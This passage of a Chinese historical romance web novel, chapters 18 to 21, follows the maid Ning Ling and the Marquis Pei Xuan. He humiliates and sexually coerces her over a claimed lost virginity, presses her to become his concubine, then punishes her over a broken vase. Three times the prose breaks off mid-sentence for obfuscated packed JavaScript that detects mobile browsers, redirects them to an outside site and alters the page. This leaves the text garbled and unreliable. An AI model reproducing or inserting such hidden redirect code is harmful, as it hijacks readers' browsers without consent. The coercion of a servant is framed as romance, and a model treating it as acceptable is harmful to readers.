裴铉心中有疑,他大手一身将她揽入怀中,他贴身站于她身后,俯身面庞靠近她的耳畔:“此事真假,待我命人将那孟氏捉来,一审便知。” 他整个人隐于她身后,宁泠只能感觉到那具强壮有力的身躯,看不到他面容神情。 她心慌不已,又不敢表达出来,只得装作并不害怕道:“若是此事是真,望侯爷大人有大量放了奴婢奴籍,让我与孟哥哥团聚。我与孟哥哥一定会永生永世记得侯爷的好,日日夜夜为侯爷祈祷祝福。” 一口一个孟哥哥,句句都有他,将裴铉刺激的眼眸发红。 他扣住宁泠的肩头,在她耳垂处阴恻恻开口:“你说你这孟哥哥知道你是我的人,还敢不敢与你再见?” 宁泠:“侯爷当真不嫌弃奴婢破败之身?” 裴铉沉默,宁泠知道他多半都是试探自己,而且此事就算找到了孟哥哥,她也不大相信裴铉如此高傲之人会与他对峙。 宁泠心生一计,她反手摸向裴铉按在她肩头的手,脸颊嘴唇贴近他的面容。 感知到她的动作,裴铉身躯一僵,淡淡问道:“你在做什么?” “承蒙侯爷不嫌弃,若是侯爷不信,一试便知,若但若能伺候好侯爷,希望侯爷能放我奴籍,好让我与孟哥哥共叙良缘。”宁泠暗自狠下心,装作柔情似水,神情柔弱。 裴铉咬牙切齿道:“好,一试便知。” 他倏地直接将宁泠抱起,朝着身后的床榻处走出。 到了床榻处,未有半分怜香惜玉,直接扔下。 幸好床榻上都是柔软的被褥等物,她只是感觉脑袋一晕,身体没有受伤摔疼。 那件披着的衣裳早在两人的走动间,慢慢滑落。 宁泠面色发红,羞怯地躺在床上,她齐腰乌黑的长发散落在白皙细腻的肌肤上,似魅人的女妖。 裴铉一言不发地看了几眼,接着开始准备去脱身上的衣裳。 宁泠却主动起身,跪着他的身下,伸出纤纤玉指打算为他解开腰带。 他冷眼看着她的动作,想着她也为另外一个男人宽衣解带,看着她的身躯,想着也被别的男人尽收眼底,说不定那一寸寸肌肤都被那男人沾染过。 他怒不可遏,直接捏着跪伏在下方女人的下巴:“这么想和他团聚?” 宁泠感受到他身上的滔天怒气,可是事情到了这一步,怎么也不能够回头。她决然地点头。 “你这么卑贱,也配伺候本侯爷?”他阴笑一声,“去床上趴着。” 宁泠不知他要什么,但现在也不敢轻易开口,怕彻底惹怒他。 她紧咬嘴唇,粉嫩的唇肉被她咬的殷红,似乎要咬破才肯善罢甘休。 她没有其他办法,只能够依他所言照做。 接着听见他冷冷道:“自己用手,你应该懂我意思。” 这句话意味深长,宁泠顶着难堪的姿势,神情绝望。 原来他是要自己检验给她看,之前她用激将法,算准了他不可能会继续,但万万没想到这一步。 宁泠迟迟没有动作,裴铉阴阳怪气道;“既然都不是处.子之身,那还害怕什么?” 宁泠闻言,不再犹豫,开始准备依他所说去做。 可她还没待她实施,就听见一声破空之声,接着他大步朝外的声音。 她连忙回头去看,发现是他用力一甩袖子,大步流星朝外走了。 裴铉不想再继续,他几次三番试探,她都毫不畏惧照做,还心心念念想着结束后,让他放她自由,好与她的有情郎团聚,真是做梦! 纵使他不会再碰她,也绝不可能让他们双宿双飞。 听见他气愤地直接踹开门走了出去,连门都不关。 宁泠才后知后觉害怕,缓过神后知道自己应该是通过了他的试探。 她连忙起身穿好衣服,急匆匆到了门口处关上门,可惜门被裴铉踹了个大洞。 又将房间内的水都收拾好了,将弄乱的东西都一一收捡好,忙完之后已是深夜,可是她却焦虑地睡不着,不知裴铉会怎样处置她,也不知他会不会真的去为难孟大哥。 虽说心里早有谋算,可还是不确定。 第二天宁泠顶着大大发黑的黑眼圈去上值,紫叶瞧了她一眼,欲言又止。 昨日侯爷去了她的住宿,又怒气冲冲走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872533|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那般大的动静,院子里的人大多都知道,她有心想问却不敢轻易开口,担心惹了侯爷生气。 思量了许久,终究没有开口。 不但紫叶这样,今早起来宁泠就敏锐的察觉到了众人对她的态度,估计或多或少知道昨夜的事情。 宁泠和紫叶进去的时候,裴铉已经起了。 自己早已穿戴好了衣物,连林韦德竟也在屋子内。 宁泠偷偷瞧了眼裴铉的脸色,面上看不出什么,只是以往爱脸上挂笑,今日却是面无表情。 林韦德眼下也带着乌青,眉头紧皱。 到了伺候洗漱的时候,紫叶也像昨日一样,将净面的活交给宁泠。 裴铉却瞥了眼宁泠的那双手,接着说道:“脏,紫叶你来。” 他这话明显有所指示,宁泠心知肚明,知道他暗指自己不检点。 她那般算计也只敢独独使在他一人身上,若是将此事闹得人尽皆知,她是不敢的。 人人一口唾沫都能将她给淹死,更不说使自己爹娘蒙羞。 宁泠低垂着脑袋,不敢说话。 裴铉见她缩头乌龟的模样,冷哼一声,敢做不敢当。 紫叶看两人之间暗流涌动,赶忙接过手帕伺候裴铉洗漱。 整个过程宁泠都像个隐形人一样,不少原本属于她的活计,也都被紫叶干了。 宁泠垂头丧气呆在旁边,裴铉不发令将她调出去,她就是他亲自安排的贴身丫鬟,谁都不敢调走他,但是他又绝不让她触碰他,包括他的衣物等东西,相当于让紫叶一个人干完所有活。 使得她处境十分尴尬。 幸好和她伫立在一旁的人,还有林韦德。 他眼里不解地望着宁泠,似乎无声询问她又干了什么? 昨夜他心知侯爷心气不畅,特意避开。那知半夜还是没有逃脱,当侯爷面色凶煞地站在他床头时,像个阎王爷似的,可把他吓傻了。 说是什么比武切磋,其实就是将他当沙包出气。 害得他基本通宵未睡。 宁泠对上他的视线,连忙避开,这件事情最好就她和裴铉知道最好。 不过就算宁泠不说,林韦德也能猜出个大概,估计与那孟公子有关。 侯爷自小未尝败绩,如今吃了个大亏,自然心里有气。 林韦德块头大,像一座小山似的,他一个人在角落思考。 正想的出神,忽然听见,“还不滚过来。” 裴铉已经打算出门,正站在门口,神色冷冷地盯着他。 林韦德打个寒颤,赶快大步跟上。 等着他们走后,紫叶还是忍不住开口:“长此以往,吃亏的是你自己。” 宁泠知道她是好心:“谢谢紫叶姐姐提醒。” 此后几日,裴铉都是早出晚归,但也坚决不触碰她。 宁泠有意想要借此调出争晖院,整日在他眼皮子下,她也觉得不甚自在,可是迟迟没有想好怎么开口。 每每她想要开口,他那似毒蛇般阴狠的视线就会落在她身下。 顿时吓得她浑身发凉,如坠冰窖,什么话都说不出来了。 宁泠只得安慰自己,不干活月银还照常领,是她赚了。 可是紫叶基本将她活干了,她也很不好意思,既然裴铉不想她伺候她,干脆她把精力用去照顾紫叶姐姐。 刚好可以稍稍弥补一下紫叶姐姐的辛苦。 此后日子里,宁泠甚是勤快,给紫叶端茶倒水,拿饭菜,铺床等活她全干了。 虽然紫叶连连拒绝,可是她也着实忙着很,一不注意宁泠都弄完了。 内室内只有紫叶和裴铉,紫叶知道他心情不好,保持安静伫立在一旁。 裴铉倚在椅子上,把玩着手上的玉韘。 他整个人隐在灯火后,忽明忽暗,散发着危险气息。 “她最近在干什么?”落针可闻的安静被打破。 19. 第 19 章 紫叶知道宁泠这般做,侯爷多半要生气。 但她还是只能硬着头皮如实禀报:“宁泠这些天都忙着照顾奴婢。” “怎么照顾的?”裴铉昏暗的灯光,狭长的眼眸微眯。 紫叶继续:“端茶倒水,铺床打扫等等。” 裴铉嗤笑:“这么说是成了你的小丫鬟?” 紫叶吓得跪下道:“奴婢我没有这个想法。” 裴铉扫她一眼,悠悠回答:“本侯知道,和你无关,那是她蠢。” 紫叶这才敢颤巍巍起身,但没敢附和他的话。 “她领了月银,就得按时出工。不然凭什么白白养着她?”裴铉命令道。 他这话一出,原本躲着他避着他的宁泠,也只能老老实实去上值。 隔了几日未曾见过她,裴铉打量看了她一眼,似乎过得不错,面色红润,向来这几日心情很好。 他面色不由地阴沉下来,也是,她以为说不定就能很快和她日思夜念的孟哥哥相见了。 众人见主子面色不善,都紧张地偷偷吞咽口水。 宁泠自然也看见了,她也是真的想不明白裴铉所图为何? 明明近来每每见了她,都不给她好脸色,连他自己心情都被影响,为什么还要叫她来,这不是自己给自己找气受?可惜她也不敢违抗他。 裴铉幽幽的视线又落在她身上,近来他想了很久。 怀疑宁泠是不是骗了他,她死鸭子嘴硬的事情不是没有,虽然她最后愿意依言照做,但这说明不了什么,她死犟脾气的时候也有可能。 但是只要一想起这件事情,他心里始终有个疙瘩。 旁边的林韦德见这氛围,还是紧皱眉头,侯爷的气也不知道什么时候才能消。 这几日总是对他欲言又止,常常将他召来,时不时盯他几眼,看的他心惊肉跳,又偏偏一言不发,吓人得很。 林韦德再是傻头傻脑,也猜测侯爷是不是想抓那孟公子,可侯爷憋着一口气,他又不敢开口去问,万一撞他气头上,何苦自找苦吃。 他块头体型大,动作神情又不似其他侍女细微,片刻的波动一下就被裴铉察觉。 裴铉将手上拿得莲花青瓷茶杯搁下:“有什么就直说,别在那畏手畏脚的。” 林韦德背着那把大刀,尴尬地挠挠头:“侯爷若是没有别的什么吩咐,属下就先行退下了?” 其实询问的话刚才差点脱口而出,但他还是没敢说出来,而且这里除了宁泠,还有其他不少人,时机不太合适。 裴铉挑眉疑惑:“你有事?” 林韦德紧闭嘴唇连忙摇摇头。 裴铉:“那你着急什么?” 他这个大块头自小就跟着自己,从小像个跟屁虫似的,这几日倒是学机灵了。 紫叶知他心情不好,见众人将屋子布置地妥当了,就命众人退下。 宁泠早就一旁无所事事,脚也站麻了,见此时机,立刻跟着众人打算溜下去。 紫叶看见了她的这一举动,可是现在她拿不准侯爷的心思,沉默地行礼后打算退下。 一旁端坐在座椅上的裴铉,自然将众人的行为举动尽收眼底。 宁泠那道娇小的身形迅速融入队伍,像是一尾活泼的鱼儿,灵动得很。 宁泠见万事大吉,她悬着的心放下了,她还以为裴铉点名叫她来,又有什么新的法子对付她了。 如今瞧着倒是没什么事,她跟在队伍里,马上就要迈过门槛,出了这道门又是安全的一天了。 她嘴角的弧度才稍稍上扬,就听见一道冷冰冰的声音。 “宁泠,过来。” 毫无疑问是裴铉的声音,宁泠的抬起的那只脚顿时僵持在半空,然后缓慢停下撤回,心里暗叹一声,果然开心得太早没有好事。 接着她绝望的转身往回走。 裴铉修长干净的手放在上好的红漆木桌面上,视线落在宁泠身上。 之前的她像是水里欢快灵活的鱼儿,身影迅速敏捷。 那现在的她就像是上岸挣扎绝望的模样,笨拙地一步步,缓慢地向前挪着。 估计这地砖上的每一类灰尘,她都恨不得数得清清楚楚。 不过裴铉今天格外有耐心,一点也不催促她。 在等待她龟速般过来的时候,他手指无聊地在桌面上敲着。 不成音律,很是随性。 旁边的林韦德默默看着两人的举动,他总觉得这个时候自己应该识眼色地退下去。 但是刚才他询问被拒绝了,短时间他也不好再问。 而且似乎现在这个场景,轮不到他开口说话。 但但只是室内这一片地方,硬是被宁泠拖了整整一盏茶的功夫才过来。 林韦德在内心都忍不住暗暗佩服,他看了眼自家主子,竟然真的没有不耐烦。 宁泠走至两人前方,就停下不再靠近,这是一个安全的距离。 这时裴铉才停止敲击桌面,室内之前突兀的声音一下子没有,反而让人有种尴尬感。 三人都没说话,裴铉却不停地打量着宁泠,宁泠一直低垂着脑袋,看不见她的神情。 不过哪怕她看不见,也能明显感觉他的视线落在她身上。 她有预感,裴铉藏了一肚子坏水,估计正想着折磨她的法子。 果然,裴铉率先开口:“听说你近日改做紫叶的小丫鬟。” 他有心发难,宁泠只得忍气吞声:“奴婢不能伺候侯爷,但又领着府上月银,就想着分担下大家的活。” 林韦德正在揣摩宁泠的这句,不能伺候侯爷,而百思不得其解时。 裴铉视线转向他:“去把那位孟公子带过来。” 林韦德的心思一下被转移,心里纠结几日的问题得到了解决,他立马行动,连步伐都透露着轻快。 不过此事急不得,等会再去问问侯爷动用人手的安排。 但宁泠顿时粉脸煞白,想开口阻止,又找不到合适的方法,急得像热锅上的蚂蚁。 她这副焦急的模样,落在裴铉这格外碍眼:“你这么担心孟公子?” 宁泠眼里记得带上点点星光:“孟哥哥与侯爷毫无关系,侯爷又何必迁怒于他。” 她怕裴铉恼羞成怒,对孟哥哥用刑,也怕毁了孟哥哥前程,害他遭受无妄之灾。 “你急什么?我何曾打算迁怒于他?不过打算请他来这, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882110|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问几个问题罢了。”裴铉不急不慢,“莫非你心里有鬼?” 宁泠脑袋急速运转:“我与他之事,岂能与外人说?” 话一说出口,她就有些后悔,口不择言。 裴铉被气笑:“你与他青梅竹马的情谊,真是令人羡慕,待他来了,我便看看究竟是两情相悦,还是单相思?” 他巴巴养着这么久的人,他倒成了外人,成了她和青梅竹马之间的外人。 宁泠急得眼圈都红了:“这件事奴婢一力承担,恳求侯爷不要牵连他人。” 现在这件事就她与裴铉知晓,等孟哥哥来了后,说不得闹得府里人尽皆知。虽然早已失身是假的,但此事要是传出去,谁会管真假?她以后还怎么做人?与男子私定姻缘,暗中苟且,婚前失身,这些事谁听了不嘲笑她。 裴铉捏着茶杯的手愈发用力,他竟有点希望这茶杯就是那孟氏的狗头,捏爆了正好出气。 “放心,我不要他狗命。” 宁泠是既担心自己的名誉清白,又担心孟哥哥被连累。 她眼眶里早就蓄满了盈盈泪水,终于忍不住一颗颗落下。 她无力地跪坐在冰冷的地砖,暗恨自己出的馊主意,不仅轻易能被拆穿,而且还无辜连累他人。 宁泠思考要不要此时坦白,但是依照她对裴铉的看法,就算现在她说出真相,他也只会以为她为了孟哥哥蒙骗于他。 见她六神无主,绝望地跪坐在地上哭泣。 裴铉心里的怒气更甚:“区区孟氏而已,比他好的男子天下多得是。” 裴铉冷眼看着她因为那男人要死要活的。 宁泠嗓子带着哭音:“要是旁人都知晓了此事,奴婢以后还怎么见人,侯爷是想逼死我。” 闻言裴铉一愣,他没想到她担心这。 他又不由嘲讽道:“既然知道是见不得人的事情,当时还敢做?” 宁泠哽咽答道:“那时候年纪小,没想那么多。” 她哭得梨花带雨,似是一株纯白无瑕的梨花树,整个人更是哭得颤颤巍巍,单薄的身影一直跪在冰凉的地砖上,好不可怜。 她哭哭啼啼的声音不算大,应该是努力着控制自己,可在裴铉这儿却十分刺耳。 “怕什么?”裴铉修长的手指揉着自己太阳穴,“你不是想着和他双宿双飞,本候大发善心,说不定成全你们,届时你们就一走了之了。” 他这鬼话,宁泠一点也不相信。而且真的等孟哥哥来了后就真相大白了。 宁泠哭得眼尾通红,一副可怜兮兮的模样:“其实奴婢与孟哥哥只是前尘往事了,上次听了侯爷的话,奴婢也仔细反思了很久,心里早已后悔,知道他不是值得托付终生之人,而且说不定他早已娶妻生子。” 她之前说那些话是为了激裴铉一怒之下放她自由,眼下这情形等孟哥哥来了后,只会情况更糟。 听了这话,裴铉的心情稍稍好了些,他瞥了眼她单纯稚嫩的脸蛋。 她生的这般好,当时年纪又小被人哄骗也是无奈之举。 裴铉冷着脸说道:“既然如此,只要你保证从此与他恩断义绝,一刀两断,安心做我的通房,我便饶了你这回。” 20. 第 20 章 宁泠闻言愣住了,没想到他会说出这番话。 但她沉默了片刻回答:“侯爷身份尊贵,奴婢本就身份低贱,如今已不是清白之身,不配伺候侯爷。” “配不配是我说了算的。”裴铉的眉宇间浮现不耐烦,“莫非,你是认为当通房委屈你了。” 侯府的妾不说是要多高门第,可也至少是出身官宦之家,不过若是她听话,从此一心一意待他,待正室过门,也可抬为妾室。 宁泠的哭泣声渐渐小了些,“双亲亡故前再三叮嘱,让奴婢不可为妾为奴,希望奴婢寻户简单人家做妻,不求大富大贵,但求平安顺遂。” 伴随着哽咽声,她继续:“如今奴婢已是被迫成了奴籍,再做了侯爷的通房丫头,岂不是彻彻底底的不孝女,以后九泉之下有什么脸面求见他们。” 说完这些话,她有控制不止情绪,呜呜咽咽地哭起来。 “人活着就只能顾自己,旁的什么话都听,对你自己有什么好处?”裴铉不屑笑着,“你现在这样,让你做我的通房已是天大的恩赐了,你已失身嫁与旁人,他就能真心待你?” 宁泠被他逼问地说不出话,脑袋低垂。 “你总想着逃跑,真的以为出了这侯府就能自由了?”裴铉起身不急不慢地向她走来,“就算你逃出了又怎样?你一个女子独身在外,你靠什么生存?你能被你族亲卖了,就不可能被别人卖了?” 宁泠听了这番话,内心震惊。 他说的这些,她都考虑过,所以她明明有了逃跑的初步计划,却迟迟没有行动,就是因为她对外一切都感到迷茫,不知道如何前行。 “你仔细想想做了我的第一个通房,以后若是诞下孩儿,母凭子贵,届时你地位稳固,岂不是比在外流浪好得多,孩子也是前途一片光明。”裴铉站立在她身前,语气温柔,“他会出生于权贵之家,一生安康富贵。可你若是执意如此,以你现在的奴籍只能配小厮,日日不仅伺候夫家,还得伺候主子,生下的孩子,更是世世代代为奴。” 裴铉的手搭在她额间,轻轻揉了揉,“宁泠,你想清楚了吗?” 宁泠回想起自己的父亲母亲,想起她小时候的童年。 他们虽然不够富裕,但是一家人都是开心幸福的。自己虽是个女儿身,可是父母对她的疼爱,从来不比旁人少。 她若成了裴铉的通房,或许是能富贵一时。可自古妾室的命与奴才的命都是捏在主子身上,并没有太大的不同。 就算以后她生下孩子,但对于裴铉来说他会有很多孩子,尤其有嫡子。自己孩子对于这些主子也差不多只是个奴才。 做了妾室通房一辈子都是主子的人,死了也逃不掉,为奴总有脱奴籍的办法。 府内的宅斗,阴狠毒辣,她没有那个能力护住自己,也没有能力护住子嗣。 宁泠想清楚这些后,坚决地开口:“侯爷厚爱,请恕奴婢无福消受。” 裴铉已是软硬皆施,她一个失了清白的奴婢真是眼高于顶。 他胸腔的怒气已经压不住,大声连喊:“好、好、好,你宁泠真是够清高,够傲气,本候一再给你脸面,你还蹬鼻子上脸,你既然喜欢为奴为婢,你就继续。从今以后,本候绝不可能再提。” 宁泠被他吓得,连忙跪伏在地,“侯爷息怒。” 听见她脆生生的声音,裴铉的怒意更甚。 “还不滚出去。”裴铉双手紧握成拳。 “是。”宁泠的目的已经达成,也不敢多留,赶紧离开。 她刚出门后,就听见里面传来一阵阵陶瓷破碎的声音。 裴铉硬生生忍到她走后,再冲向漆红色木桌,一把抓起那个青莲色茶杯,怒不可遏地狠狠甩在地上。 甩了一个还不过瘾,接着整整将一套茶具砸了他心里才舒畅了。 这宁泠真是好样子地,人人背后皆说他是笑面虎。 可她不一样,回回都能气死他。 书房内,林韦德站立于宽大整齐的书案前。 裴铉眼眸的狠厉之气呼之欲出,林韦德思考着,不知宁泠又干了什么,把主子气得跳脚。 两人都没说话,林韦德想着这么下去也不是办法,先开口问道:“侯爷之前吩咐的绑孟氏一事,不知是立马行动,还是稍等片刻。” 裴铉面色阴鸷,“暂时不急。” 之前他是为了故意试探宁泠,才当面与她说。测试她是不是在情急之下,自己说出真相。 林韦德还以为依照侯爷的性子,必定恨不得马上收拾那孟氏。 他的想法很快被裴铉看穿,裴铉冷笑一声:“在你眼里,我是如此色令智昏的人?” 如今忠国公势力正盛,新皇登基,根基不稳,那忠国公探来探去,不就是为了抓自己小辫子? 他岂会送上门? 林韦德那敢回答这个问题,转移话题道:“那属下告退了。” 自那天争吵以后,裴铉就对宁泠的态度恢复如初了,与其他婢女无任何不同。 宁泠的心算是大概放下了,可是她总担心会不会浴桶事件一样,过几天又故态复萌。 自那日之后,两人再无说过一句话。而且要紧之事都是只吩咐紫叶一个人。 争晖院的不少人都在猜测,宁泠是不是失宠了。 一日,宁泠坐在床上绣花,听见门外传来急急忙忙的敲门声。 她连忙去开门,发现门外之人是念儿。 上次送了绒花加上有禧福劝说,两人很快就和好了。 而且她沐浴时裴铉破门而出,踹坏的门还是禧福和念儿帮忙一起弄好的。 不然她自己刚来府邸,也没多少熟人,怎么找木板都不知道。 念儿面色带红,气喘吁吁,一瞧就是跑步过来的。 宁泠将人请进屋子,用干净的茶杯为她倒了一杯温水,好奇问道:“出什么事情了?你怎么着急?” 念儿连茶水都来不及喝,深深吸了两口气平复气息。 她被模样逗乐了宁泠。 念儿连忙开口:“你还笑得出来!我听说侯爷那儿要加两名贴身侍女了。” “两名侍女本就少了。”宁泠不以为然,她怕犯了裴铉的忌讳,近来许多贴身的活都是紫叶姐姐在做,若能加点人手,那是最好了。 念儿真是恨铁不成钢,“人来了,小心那天就把你挤下去了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888638|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >府邸里的丫头谁不想做贴身侍女,虽说之前侯爷处死了一个,可出了秋月那件事后,众人都认为那是因为背主才处死。 一时间都个个想着能够选上贴身侍女,毕竟月银高,活还轻松。 宁泠巴不得自己被挤下去,最好回到洒扫那个活,笑笑问道:“那这新侍女是怎么选呢?还是直接外面买?” 念儿摇摇头,“这件事情我也是从熟人那里得知的,但是具体怎么样,还是看侯爷如何安排王大管家吧。” 宁泠点点头,并不在意。 不过第二天,她就见到了人,她还没想到会如此迅速。 虽然多了两个人,但是紫叶依旧是管事人,剩下的三个都要听从她的安排。 为了让大家干活更加有序默契,紫叶特意让大家提前见了一面。 宁泠面色带笑与他们两个打着招呼,一位叫乐絮,是位身量较高,极为苗条的女子,只是不苟言笑,瞧起来有点不近人情。 另外一位名为珍珠,年纪较小,看起来活泼多了,十分平易近人,容貌普通。 看样子似乎都是府上来的新人。 众人都打了招呼后,紫叶就领着他们去伺候裴铉。 裴铉对这一切并不惊讶,只是粗略地每人扫视了一眼。 紫叶询问裴铉是否为她们改名,他摇摇头。 余下的日子都还平静,天气已经正式入秋了,尤其到了早晚时间,越发感觉到身上冰凉。 珍珠年龄是四人里最小的,觉得紫叶姐姐说话谨慎,做事小心。 乐絮又性情冷漠,不爱搭理人。 她又是个话痨,没事总爱找宁泠闲聊。 裴铉如今常常忙的不见人影,宁冷从珍珠那儿听说,好像是在赶几份公务。 她十分满意,巴不得他最好不回府。 秋天的早上带着寒气,天色蒙蒙黑,人朝着空中大口吐气都能冒白烟了。 紫叶领着众人,端着洗漱,脸巾、脸盆等一应洗漱之物,鱼贯而入。 珍珠和乐絮都是刚进府的,但珍珠年纪小,紫叶不放心她,于是干活主要都带着她。 宁泠和乐絮一组。 裴铉还在睡梦里,他昨夜几乎通宵,才睡下一两个时辰,可今日还有朝会迟不得。 众人都知他近来公务繁重,脸色不好。 个个都小心翼翼,生怕惹怒他,宁泠更是谨慎小心。 紫叶、珍珠、乐絮、宁泠四人按照顺序依次放轻脚步进入内室。 嘭!忽然一道重物坠地的声音,伴随着沉重陶瓷片摔碎的声音大声地响彻在室内。 宁泠亲眼目睹,乐絮被内室前面的珠帘遮挡了下,接着人心不稳将旁边的那一樽圆口细颈花瓶碰倒,摔在地上顿时四分五裂。 在花瓶摔碎瞬间,乐絮赶紧站稳身形,向前悄声走了几步。 待到众人回头时,看见宁泠离那堆碎片最近。 宁泠刚想解释不是她弄得,就听见雾青色床帘内传来声音。 “谁干的?”裴铉的声音很不耐烦,他本就近来心情暴躁,大清早地还给他找事。 乐絮立马跪下回话:“是宁泠不小心碰倒的。” 21. 第 21 章 宁泠也赶紧跪下,马上反驳:“一切与奴婢无关,是乐絮。” 裴铉修长的手指拨开床帘,面色不善地披着一件外衣。 大清早地还要给她们分辨是非,朝堂的一堆事情还没忙完,现在这里又来一件。 “你们两人是否看见是谁打碎的?”刚起的裴铉嗓音带着点沙哑,视线投向紫叶和珍珠。。 紫叶和珍珠面面相觑,两人都沉默几息后齐声顺道:“我等不知。” 她们没有亲眼目睹,也不敢随意判定。 裴铉皱着眉头看了一眼满地碎片,那个花瓶是近来他的最爱,属下收罗许久才献上。 单论三人站姿来说,宁泠打碎的可能性比乐絮大的多。 乐絮身姿纤细,整个人柔弱无助地伏在地面,她委屈道:“奴婢刚才走在前方,听见后方传来响动,一瞧竟是宁泠不小心绊倒了。” “不是,我在后面看得清清楚楚,明明是你弄倒的。”宁泠气得脸颊鼓鼓。 平日里乐絮一副不善言语,话少沉默的人,今日她才知如此能言善辩。 可两人扯来扯去,都不能拿出实质性的证据。 对于没有做过的事情,宁泠是坚决不可能去承认的。 每次她都是坚定反驳回去。 乐絮一边回话,一边眼泪随着流下来。 但丝毫不见哭哭啼啼的烦躁之意。她一手无助地抓着裙角,高挑苗条的身体轻轻颤抖。 另外一只白皙的手用着袖角擦拭着眼泪,她哭的极有技巧,不会大声呜咽,却总用那双无辜的眸子望着裴铉。 完全一副宁泠强词夺理,咄咄逼人的模样。 她这个样子,宁泠争辩的声音渐渐小了。 裴铉冷眼旁观见两人争吵了几个来回,也没有耐心继续下去了。 他直接开口决断:“两个人各扣一年月银。” 紫叶眨了下眼睛,这个惩罚听起来很重,但她知道这个花瓶颇为贵重,她还以为会将人直接赶出院子,或是怒气上头时干脆发卖了。 从现场情况看,宁泠的可能性明显大的多,侯爷还是颇为偏袒她的。 乐絮闻言,抬起楚楚可怜的脸蛋,柔顺答道:“是。” 宁泠心里很不服气,对她来说在争晖院,唯一的好处就是月银高。 裴铉如此不辨黑白,还将一整年的月银都扣了,还不如回去洒扫。 宁泠怒气上头,像是出生牛犊不怕虎般:“奴婢自知笨手笨脚,不配伺候侯爷,请侯爷将奴婢调回原职。” 裴铉太阳穴突突地跳着,这几日本就夜夜秉烛,几乎通宵达旦,今日才眯了一会还处理这些烂事。 “你想回去?”裴铉面色发冷。 宁泠点了点头,她算是看出来了,他就是故意挑刺针对她,而且有乐絮在,看她那副装模作样,估计自己也不是她的对手。 干脆一走了之,还落在轻松自在。 室内的氛围倏地安静下来,颇有些一触即发的火药味。 前方的紫叶偷偷轻微地对宁泠摇头,侯爷早起本就有气,如此这样处置已是很好的结果。 宁泠装作看不见,倔强地跪在地上。 现在能污蔑她一回,以后还不知受多少窝囊气。 随着沉默的时间增加,裴铉看她的眼神越发冰冷,他真是对她太过于纵容了。 竟然敢在众目睽睽下顶撞反驳他。 不过是仗着点自己对她的一点喜欢,如此不识好歹。本就是个解闷舒心的玩意,还真把自个捧上天儿。 他看着齐冀养狗逗乐,一时心痒想着养只养着猫,逗乐解闷。 结果这只猫还不分主仆,想在他的地盘为所欲为了。 落针可闻的安静里,裴铉轻笑一声。 众人顿感头皮发麻,他盯着宁泠,嘴角上扬神情玩味:“真不想呆这了?” 宁泠清楚他要发作脾气了,可她心里也有气。近来她日日小心翼翼,整日惴惴不安。 现在想让她认下没做过的事情不可能。 她抬起亮晶晶的眼眸,语气坚定:“是。” “好,那本侯成全你。”裴铉面色发笑,“既然笨手笨脚,又不知感恩戴德,那就去浣衣局里好好呆呆。” 众人呼吸一紧,浣衣局向来都是罪奴,或是犯了大错的奴婢才去的地方。 哪儿没日没夜的天天浆洗晾晒衣服,月银也低的可怜。 人天天浸泡在水里,身子哪能承受。 浣衣局的人几乎找不出一双完好无损的手,大多手上布满冻疮,而且人人皆病痛缠身。 侯在门外等待的林韦德闻言,也忍不住走进内室。 他心里思量了下,开口催促道:“侯爷时间不早了,恐要迟了。” 裴铉轻飘飘地扫了眼他,颇含警告意味。 林韦德没敢再说话。 裴铉起身更衣,以为此事就此揭过时。 听见宁泠咬牙答道:“谢侯爷恩典。” 不就是浣衣局,咬咬牙等裴铉忘了她这个人,总有办法出去,但若天天耗在争晖院毫无意义。 林韦德的眉毛紧紧蹙着,他以为刚才他打断侯爷,两人剑拔弩张的气氛就能缓和,轻轻揭过,他也没想到宁泠脾气如此犟。 裴铉看着下面像头倔驴似的宁泠,“好,以后可别来找本侯求情诉苦,指望能饶了你。” “万万不敢再叨扰侯爷。”宁泠无所畏惧地直接迎上他的目光。 她说完跪地上行礼后直接起身告退了。 见她这副死不悔改,目中无人的模样,裴铉扬起的嘴角不知不觉地下垂了几分。 真有骨气,那他拭目以待看她能硬气多久。 待宁泠走后,众人都提着心伺候的裴铉。 紫叶为裴铉整理要腰带处的玉佩时,就听见他道:“你是管事的大丫头,此事你也有责,罚半年月银。” 紫叶跪地答道:“是。” 接着裴铉视线落在乐絮上,“这种心思多的人,罚为二等丫头。” 乐絮就不能留在屋里伺候裴铉了,但依旧可以留在院子里。 因着这件事惹怒了裴铉,院里众人或多或少都受罚。 宁泠回了自己屋子,直接收拾包裹,准备离开。 她虽然答应了去浣衣局,可她也不会蠢到为了怄气,连他赏赐的东西都不要。 都是金银好物,她才不会弃之不顾,都要全部带走。 宁泠的东西不多,一个不大的包裹就全部收拾好了。 她背上包裹打开门,正打算去浣衣局处报道时,看见紫叶站在门外。 “紫叶姐姐,怎么了?”宁泠不知她有何事。 